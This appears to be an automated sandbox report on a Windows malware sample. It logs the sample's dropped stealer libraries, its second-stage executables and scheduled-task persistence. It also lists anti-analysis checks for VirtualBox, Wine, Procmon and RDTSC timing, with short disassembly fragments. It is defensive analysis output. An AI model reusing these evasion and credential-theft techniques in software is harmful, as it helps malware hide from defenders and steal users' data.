Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1804800 > 1048576

Source: file.exe

Static PE information: Raw size of cfbfwmdt is bigger than: 0x100000 < 0x19ec00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2626855614.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2626855614.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.310000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cfbfwmdt:EW;xlvjkecr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cfbfwmdt:EW;xlvjkecr:EW;.taggant:EW;
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Unpacked PE file: 21.2.DocumentsDBGIJEHIID.exe.940000.0.unpack :EW;.rsrc:W;.idata :W; :EW;udcljtek:EW;bcsmrgvx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;udcljtek:EW;bcsmrgvx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;udcljtek:EW;bcsmrgvx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;udcljtek:EW;bcsmrgvx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;udcljtek:EW;bcsmrgvx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;udcljtek:EW;bcsmrgvx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;udcljtek:EW;bcsmrgvx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;udcljtek:EW;bcsmrgvx:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C56C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C56C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: real checksum: 0x1cd202 should be: 0x1cb0d3
Source: file.exe	Static PE information: real checksum: 0x1bac73 should be: 0x1c5a18
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1cd202 should be: 0x1cb0d3
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1cd202 should be: 0x1cb0d3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: cfbfwmdt
Source: file.exe	Static PE information: section name: xlvjkecr
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: udcljtek
Source: random[1].exe.0.dr	Static PE information: section name: bcsmrgvx
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name:
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name:
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name: udcljtek
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name: bcsmrgvx
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name: .taggant
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: udcljtek
Source: skotes.exe.21.dr	Static PE information: section name: bcsmrgvx
Source: skotes.exe.21.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B536 push ecx; ret		0_2_6C53B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00A6D91C push ecx; ret		25_2_00A6D92F

Source: file.exe	Static PE information: section name: cfbfwmdt entropy: 7.954955466683943
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.978019059996686
Source: random[1].exe.0.dr	Static PE information: section name: udcljtek entropy: 7.953980510033489
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name: entropy: 7.978019059996686
Source: DocumentsDBGIJEHIID.exe.0.dr	Static PE information: section name: udcljtek entropy: 7.953980510033489
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.978019059996686
Source: skotes.exe.21.dr	Static PE information: section name: udcljtek entropy: 7.953980510033489

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDBGIJEHIID.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsDBGIJEHIID.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDBGIJEHIID.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDBGIJEHIID.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsDBGIJEHIID.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5655F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5655F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsDBGIJEHIID.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D84B5 second address: 6D84BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D84BE second address: 6D84C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D84C2 second address: 6D84CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB937 second address: 6DB93B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBA90 second address: 6DBA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBA94 second address: 6DBAEB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F145915A7C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007F145915A7CEh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 jmp 00007F145915A7D5h 0x0000001d push eax 0x0000001e jg 00007F145915A7C6h 0x00000024 pop eax 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 push eax 0x00000029 jno 00007F145915A7CCh 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBC65 second address: 6DBC7C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F1458521ABCh 0x00000011 jp 00007F1458521AB6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBC7C second address: 6DBC96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBC96 second address: 6DBCA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1458521AB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBCA1 second address: 6DBCDA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F145915A7CBh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F145915A7D8h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007F145915A7C6h 0x00000020 rdtsc
